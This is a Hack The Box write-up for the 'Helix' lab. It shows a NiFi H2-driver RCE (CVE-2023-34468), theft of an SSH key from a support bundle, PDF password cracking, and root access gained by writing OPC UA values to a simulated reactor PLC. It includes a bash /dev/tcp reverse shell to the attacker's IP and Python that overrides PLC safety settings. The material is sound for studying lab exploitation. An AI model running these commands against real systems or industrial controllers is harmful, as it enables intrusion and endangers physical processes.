HTB Helix writeup
A technical writeup for educational use, covering only the authorized, isolated Hack The Box lab.
Summary
Section titled “Summary”Helix began with initial access through an Apache NiFi instance exposed on the web. An SSH private key for operator left in the NiFi working directory provided the user shell. For privilege escalation, operator could run a maintenance console with sudo; operating a local PLC through OPC UA opened the maintenance window required for that console to start.
The required knowledge included vhost enumeration, RCE through Apache NiFi and its H2 driver, local Linux enumeration, interpreting sudo -l, cracking a PDF password, and working with OPC UA address spaces, NodeIds, and VariantTypes.
Box Info
Section titled “Box Info”| Item | Value |
|---|---|
| Box | Helix |
| Platform | Hack The Box |
| OS | Linux |
| Difficulty | Medium |
Attack Chain
Section titled “Attack Chain”10.129.245.123 ├─ 80/tcp nginx │ └─ vhost: flow.helix.htb │ └─ Apache NiFi 1.21.0 │ └─ CVE-2023-34468 / RCE through the H2 driver │ └─ shell: nifi │ └─ /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak │ └─ SSH: operator │ ├─ user.txt │ ├─ sudo NOPASSWD: /usr/local/sbin/helix-maint-console │ └─ localhost:4840 OPC UA PLC │ └─ operate Mode/TestOverride/CalibrationOffset │ └─ open /opt/helix/state/maintenance_window │ └─ sudo helix-maint-console │ └─ root shellTarget
Section titled “Target”echo '10.129.245.123 helix.htb flow.helix.htb' | sudo tee -a /etc/hostsnmap -sS -A -p- --min-rate 10000 10.129.245.123 > helix.nmapcat helix.nmapKey output:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)80/tcp open http nginx 1.18.0 (Ubuntu)|_http-title: Did not follow redirect to http://helix.htb/Key observations:
- Only SSH and HTTP were exposed externally.
- HTTP redirected to
helix.htb, so proceed with name-based virtual hosts in mind. - SSH could become useful later through credential reuse or a private key.
Web Enumeration
Section titled “Web Enumeration”Ordinary directory enumeration found no notable additional paths.
feroxbuster -u http://helix.htb \ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \ -d 1200 GET 1117l 3956w 43341c http://helix.htb/Enumerate vhosts instead.
ffuf -u http://helix.htb \ -H "Host: FUZZ.helix.htb" \ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt \ -acflow [Status: 200, Size: 1068, Words: 110, Lines: 28]NiFi was running at flow.helix.htb.
curl -i http://flow.helix.htb/nifi/ | head -n 30HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)...<title>NiFi</title>...nf-canvas-all.css?1.21.0This indicated NiFi version 1.21.0.
Initial Access - NiFi RCE
Section titled “Initial Access - NiFi RCE”Use the known H2 driver RCE against NiFi 1.21.0.
git clone https://github.com/Jeanpt/CVE-2023-34468.gitcd CVE-2023-34468Start a listener for the reverse shell.
nc -lvnp 6666Run the PoC.
python3 exploit.py \ -t http://flow.helix.htb/nifi \ -c "bash -i >& /dev/tcp/10.10.16.45/6666 0>&1" \ -lh 10.10.16.45 \ -lp 6666 \ --driver-path "/opt/nifi-1.21.0/lib/h2-2.1.214.jar"The resulting shell ran as nifi.
From nifi to operator
Section titled “From nifi to operator”Check local users.
cat /etc/passwd | grep -v nologin | grep -v falseroot:x:0:0:root:/root:/bin/bashsync:x:4:65534:sync:/bin:/bin/syncoperator:x:1001:1001::/home/operator:/bin/bashUnder NiFi, a support bundle contained a backup of the SSH private key for operator.
ls support-bundlescat support-bundles/operator_id_ed25519.bakoperator_id_ed25519.bak-----BEGIN OPENSSH PRIVATE KEY-----...-----END OPENSSH PRIVATE KEY-----Save the key locally, restrict its permissions, and connect as operator over SSH.
chmod 600 ed25519ssh -i ./ed25519 operator@helix.htbcat ~/user.txtThis yielded the user flag.
Notes on NiFi Flow Configuration
Section titled “Notes on NiFi Flow Configuration”The NiFi configuration also contained an H2 Database Connection Pooling Service named MaintenanceDB.
name: MaintenanceDBDatabase Connection URL: jdbc:h2:mem:maint;MODE=MySQL;DB_CLOSE_DELAY=-1Database Driver Class Name: org.h2.Driverdatabase-driver-locations: /opt/nifi-1.21.0/lib/h2-2.1.214.jarDatabase User: operatorPassword: enc{...}It was not used directly to obtain root, but the maintenance, operator, and H2 driver references linked the NiFi RCE and the later maintenance mechanism thematically.
Local Enumeration as operator
Section titled “Local Enumeration as operator”Check sudo -l.
sudo -lUser operator may run the following commands on helix: (root) NOPASSWD: /usr/local/sbin/helix-maint-consoleInspect the executable.
ls -la /usr/local/sbin/helix-maint-consolecat /usr/local/sbin/helix-maint-console#!/bin/bashset -euo pipefail
FLAG="/opt/helix/state/maintenance_window"
read_until() { cat "$FLAG" 2>/dev/null || true; }
window_ok() { [ -f "$FLAG" ] || return 1 local until_ts now until_ts="$(read_until)" now="$(date +%s)" [[ "$until_ts" =~ ^[0-9]+$ ]] || return 1 [ "$now" -lt "$until_ts" ] || return 1 return 0}
if ! window_ok; then echo "Maintenance window CLOSED." exit 1fi
until_ts="$(read_until)"now="$(date +%s)"remaining=$((until_ts-now))
echo "[+] Privileged maintenance access granted"echo "[!] Window expires in ${remaining} seconds"echo "[!] Session will be terminated automatically"
SCOPE="helix-maint-$$"
systemd-run --quiet --scope --unit="$SCOPE" --property=KillMode=control-group --property=SendSIGHUP=yes \ /bin/bash -p -iThe script could run as root, but it did not always produce a root shell. It launched /bin/bash -p -i through systemd-run only if /opt/helix/state/maintenance_window existed and contained a UNIX timestamp later than the current time.
Running it immediately showed that the window was closed.
sudo /usr/local/sbin/helix-maint-consoleMaintenance window CLOSED.The next goal was therefore to satisfy the conditions that opened maintenance_window.
Clues from the PDF
Section titled “Clues from the PDF”operator had a PDF and an image in the home directory.
ls'Operator Control & Safety Guide.pdf' 'control systems diagram.png' user.txtThe PDF was password-protected.
pdfinfo "Operator Control & Safety Guide.pdf"qpdf --show-encryption "Operator Control & Safety Guide.pdf"Command Line Error: Incorrect password...stream encryption method: AESv3Crack its password with pdf2john and john.
pdf2john "Operator Control & Safety Guide.pdf" > pdf.hashjohn --wordlist=/usr/share/wordlists/rockyou.txt pdf.hashoperator1 (Operator Control & Safety Guide.pdf)The PDF described operating conditions for the Helix Reactor Control System. The important variables were:
| Variable | Meaning |
|---|---|
Temperature | reactor temperature |
Pressure | reactor pressure |
CalibrationOffset | Calibration bias for maintenance |
TripActive | State of the safety trip |
Mode | NORMAL / MAINTENANCE |
TestOverride | maintenance override |
ResetTrip | trip reset request |
The maintenance window opened under these conditions:
- Set
ModetoMAINTENANCE. - Enable
TestOverride. - Increase
CalibrationOffsetgradually. - Bring
Temperatureto about295°CorPressureto about73 bar. - Stay below the trip thresholds of about
305°CforTemperatureand75 barforPressure. - Keep
TripActiveatFalse.
This connected to the condition in helix-maint-console: when the PLC entered a maintenance window, an internal process appeared to create /opt/helix/state/maintenance_window, allowing the root maintenance console to run for a short period.
Local OPC UA Service
Section titled “Local OPC UA Service”Checking listening ports as operator revealed localhost port 4840/tcp.
ss -antLISTEN 0 100 127.0.0.1:4840 0.0.0.0:*Port 4840/tcp is commonly used for OPC UA. Because OPC UA uses the binary opc.tcp protocol, it could not be operated by typing into nc 127.0.0.1 4840. Unlike line-oriented protocols such as HTTP or Redis, it required a dedicated client to browse the address space and read or write the relevant NodeIds.
Forward the port over SSH to work with it from the attacking machine.
ssh -i ./ed25519 -N -L 4840:127.0.0.1:4840 operator@helix.htbThen connect locally to opc.tcp://127.0.0.1:4840.
OPC UA Enumeration
Section titled “OPC UA Enumeration”asyncua was tried first, but recursively browsing the entire tree often caused timeouts or disconnections.
Future for request id 10 is already doneException: Unhandled exception while sending request to OPC UA serverThe synchronous opcua library was more stable.
uv venv --python 3.12 .venv-opcsource .venv-opc/bin/activatepip install opcuaInspecting the Namespace
Section titled “Inspecting the Namespace”from opcua import Client
client = Client("opc.tcp://127.0.0.1:4840")client.connect()
try: print(client.get_namespace_array())finally: client.disconnect()['http://opcfoundation.org/UA/', 'urn:freeopcua:python:server', 'urn:helix:ot']An OPC UA NodeId combines a namespace index and an identifier. Here, urn:helix:ot had namespace index 2, so Helix-specific PLC nodes were expected under ns=2;....
Objects and Variables
Section titled “Objects and Variables”Use ns=2;i=1 as the root and inspect its children.
from opcua import Client
client = Client("opc.tcp://127.0.0.1:4840")client.connect()
try: base = client.get_node("ns=2;i=1") for c in base.get_children(): print(c, c.get_display_name()) try: print(" value:", c.get_value()) except Exception as e: print(" value error:", e)finally: client.disconnect()ns=2;i=2 LocalizedText(... Text:Reactor) value error: "The attribute is not supported for the specified Node."(BadAttributeIdInvalid)ns=2;i=7 LocalizedText(... Text:Safety) value error: "The attribute is not supported for the specified Node."(BadAttributeIdInvalid)ns=2;i=11 LocalizedText(... Text:Control) value error: "The attribute is not supported for the specified Node."(BadAttributeIdInvalid)This BadAttributeIdInvalid response was expected. Reactor, Safety, and Control were Object nodes, not value-bearing Variable nodes. Objects acted like folders; their child Variables held the values.
Enumerating NodeIds and Types
Section titled “Enumerating NodeIds and Types”The nodes of interest lay roughly between ns=2;i=1 and ns=2;i=14, so inspect NodeClass, value, VariantType, and access level.
from opcua import Client, uaimport time
client = Client("opc.tcp://127.0.0.1:4840")client.connect()
try: for i in range(1, 20): nodeid = f"ns=2;i={i}" node = client.get_node(nodeid) try: cls = node.get_node_class() name = node.get_display_name().Text print(f"{nodeid}: {name} [{cls}]") if cls == ua.NodeClass.Variable: print(" value:", repr(node.get_value())) print(" type :", node.get_data_type_as_variant_type()) print(" access:", node.get_access_level(), node.get_user_access_level()) except Exception as e: print(f"{nodeid}: {e}") time.sleep(0.05)finally: client.disconnect()Key results:
ns=2;i=1: Plant [1]ns=2;i=2: Reactor [1]ns=2;i=3: TemperatureRaw [2] value: 283.50106407697126 type : VariantType.Double access: {CurrentRead} {CurrentRead}ns=2;i=4: Temperature [2] value: 283.59361357234354 type : VariantType.Double access: {CurrentRead} {CurrentRead}ns=2;i=5: Pressure [2] value: 68.97129508156843 type : VariantType.Double access: {CurrentRead} {CurrentRead}ns=2;i=6: CalibrationOffset [2] value: 0.0 type : VariantType.Double access: {CurrentRead, CurrentWrite} {CurrentRead, CurrentWrite}ns=2;i=7: Safety [1]ns=2;i=8: RodsInserted [2] value: False type : VariantType.Booleanns=2;i=9: EmergencyCooling [2] value: False type : VariantType.Booleanns=2;i=10: TripActive [2] value: False type : VariantType.Boolean access: {CurrentRead} {CurrentRead}ns=2;i=11: Control [1]ns=2;i=12: Mode [2] value: 'NORMAL' type : VariantType.String access: {CurrentRead, CurrentWrite} {CurrentRead, CurrentWrite}ns=2;i=13: TestOverride [2] value: False type : VariantType.Boolean access: {CurrentRead, CurrentWrite} {CurrentRead, CurrentWrite}ns=2;i=14: ResetTrip [2] value: False type : VariantType.Boolean access: {CurrentRead, CurrentWrite} {CurrentRead, CurrentWrite}[1] meant Object and [2] meant Variable. Writable targets were Variable nodes with CurrentWrite access.
The important NodeId mapping was:
| NodeId | Name | Type | Purpose |
|---|---|---|---|
ns=2;i=4 | Temperature | Double | Maintenance window condition |
ns=2;i=5 | Pressure | Double | Maintenance window condition |
ns=2;i=6 | CalibrationOffset | Double | Increase gradually |
ns=2;i=10 | TripActive | Boolean | Check whether a trip occurred |
ns=2;i=12 | Mode | String | Change to MAINTENANCE |
ns=2;i=13 | TestOverride | Boolean | Change to True |
ns=2;i=14 | ResetTrip | Boolean | Recover from a trip |
Why Writes Need the Correct VariantType
Section titled “Why Writes Need the Correct VariantType”For OPC UA writes, the type matters as well as the value. For example, Mode is a String, CalibrationOffset a Double, and TestOverride a Boolean. Sending a Python value directly can make the client infer a type that differs from the VariantType expected by the server.
Read the expected type from each node with get_data_type_as_variant_type() and write it explicitly with ua.Variant(value, vt).
def set_typed(node, value): vt = node.get_data_type_as_variant_type() node.set_value(ua.DataValue(ua.Variant(value, vt)))Root via Maintenance Window
Section titled “Root via Maintenance Window”The following script opened the maintenance window.
from opcua import Client, uaimport time
URL = "opc.tcp://127.0.0.1:4840"
N = { "TemperatureRaw": "ns=2;i=3", "Temperature": "ns=2;i=4", "Pressure": "ns=2;i=5", "CalibrationOffset": "ns=2;i=6", "TripActive": "ns=2;i=10", "Mode": "ns=2;i=12", "TestOverride": "ns=2;i=13", "ResetTrip": "ns=2;i=14",}
def set_typed(node, value): vt = node.get_data_type_as_variant_type() node.set_value(ua.DataValue(ua.Variant(value, vt)))
client = Client(URL)client.connect()
try: nodes = {k: client.get_node(v) for k, v in N.items()}
set_typed(nodes["Mode"], "MAINTENANCE") set_typed(nodes["TestOverride"], True) set_typed(nodes["CalibrationOffset"], 0.0) time.sleep(1)
offset = 0.0 while True: temp = float(nodes["Temperature"].get_value()) pres = float(nodes["Pressure"].get_value()) trip = bool(nodes["TripActive"].get_value()) mode = nodes["Mode"].get_value() override = nodes["TestOverride"].get_value()
print(f"mode={mode} override={override} temp={temp:.2f} pressure={pres:.2f} trip={trip} offset={offset:.2f}")
if trip: print("TRIPPED - stop") break
if (temp >= 295 or pres >= 73) and temp < 305 and pres < 75: print("maintenance window should be open now") time.sleep(10) break
offset += 0.5 set_typed(nodes["CalibrationOffset"], offset) time.sleep(0.7)
finally: client.disconnect()The output:
python3 x.pymode=MAINTENANCE override=True temp=283.99 pressure=69.04 trip=False offset=0.00mode=MAINTENANCE override=True temp=284.63 pressure=69.11 trip=False offset=0.50mode=MAINTENANCE override=True temp=285.24 pressure=69.16 trip=False offset=1.00...mode=MAINTENANCE override=True temp=294.60 pressure=69.37 trip=False offset=10.00mode=MAINTENANCE override=True temp=295.01 pressure=69.33 trip=False offset=10.50maintenance window should be open nowWith Mode=MAINTENANCE and TestOverride=True, increasing CalibrationOffset gradually brought Temperature to about 295. At that point, TripActive=False and the values were below the trip thresholds, satisfying the maintenance operating window conditions described in the PDF.
In another terminal, wait for the maintenance window to open.
while true; do sudo /usr/local/sbin/helix-maint-console && break; sleep 0.2; doneMaintenance window CLOSED.[+] Privileged maintenance access granted[!] Window expires in 120 seconds[!] Session will be terminated automaticallyroot@helix:/tmp#This yielded a root shell.
cd /rootcat root.txtOPC UA Key Points
Section titled “OPC UA Key Points”The final stage of this box required reading the OPC UA structure correctly, not just changing a value.
Port 4840/tcp is a standard OPC UA port, but the protocol is not text-based. An nc connection could not be used to type meaningful commands. An OPC UA client capable of connecting to opc.tcp://127.0.0.1:4840 was needed.
Not every node in an OPC UA address space has a value. Plant, Reactor, Safety, and Control were Object nodes, and reading a value from them returned BadAttributeIdInvalid. This meant the node lacked a Value attribute; it was not an error in the approach. The actionable nodes were child Variables such as Temperature and Mode.
An incorrect NodeId mapping could make the values look plausible while the window stayed closed. Reading Temperature as Pressure or Pressure as CalibrationOffset, for example, could make only the threshold checks appear to progress. The enumeration results were needed to map values correctly, such as CalibrationOffset = ns=2;i=6 and TripActive = ns=2;i=10.
Writes also needed the right VariantType. Mode was a String, CalibrationOffset a Double, and TestOverride a Boolean, so ua.Variant(value, vt) explicitly supplied the type expected by the server.
Rabbit Holes and Dead Ends
Section titled “Rabbit Holes and Dead Ends”feroxbusterfound no useful additional paths; vhost enumeration was needed.nc 127.0.0.1 4840could not operate OPC UA. A dedicated client was needed.- Recursively browsing the entire address space with
asyncuaoften caused timeouts or disconnections. Shallow NodeId enumeration with the synchronousopcualibrary was more stable. BadAttributeIdInvalidfromget_value()on an Object node was expected. Look for Variable nodes.- An off-by-one NodeId mapping could confuse
PressureandCalibrationOffset, preventing the maintenance window from opening.
Cleanup Notes
Section titled “Cleanup Notes”On the local machine:
- Stop the SSH port forward.
- Remove
.venv-opc/,pdf.hash, the saveded25519key, and test Python scripts if they are no longer needed.
To restore the PLC state on the target, use OPC UA to do the following.
set_typed(nodes["CalibrationOffset"], 0.0)set_typed(nodes["TestOverride"], False)set_typed(nodes["Mode"], "NORMAL")If a trip occurred, wait until Temperature falls below about 288 and Pressure below about 70, as the PDF instructed. Set ResetTrip to True, then back to False.
set_typed(nodes["ResetTrip"], True)time.sleep(0.5)set_typed(nodes["ResetTrip"], False)Credentials and Artifacts
Section titled “Credentials and Artifacts”| Type | Value |
|---|---|
| Host | 10.129.245.123 |
| VHosts | helix.htb, flow.helix.htb |
| NiFi | Apache NiFi 1.21.0 |
| Initial shell | nifi |
| SSH user | operator |
| SSH key artifact | /opt/nifi-1.21.0/support-bundles/operator_id_ed25519.bak |
| PDF password | operator1 |
| sudo rule | (root) NOPASSWD: /usr/local/sbin/helix-maint-console |
| OPC UA endpoint | opc.tcp://127.0.0.1:4840 |
| user flag path | /home/operator/user.txt |
| root flag path | /root/root.txt |
Required Knowledge
Section titled “Required Knowledge”Final Thought
Section titled “Final Thought”The important progression in this box was from ordinary web RCE to a local industrial-control protocol. Even when a command found through sudo -l cannot be exploited directly, reading its conditions shows exactly what must happen before it will provide a root shell.
For OPC UA, the port number alone was not enough. Inspect the namespace, NodeId, NodeClass, VariantType, and access level in order. Distinguishing Objects from Variables, checking for CurrentWrite, and writing values with the correct type are useful ideas for similar OT / PLC boxes.

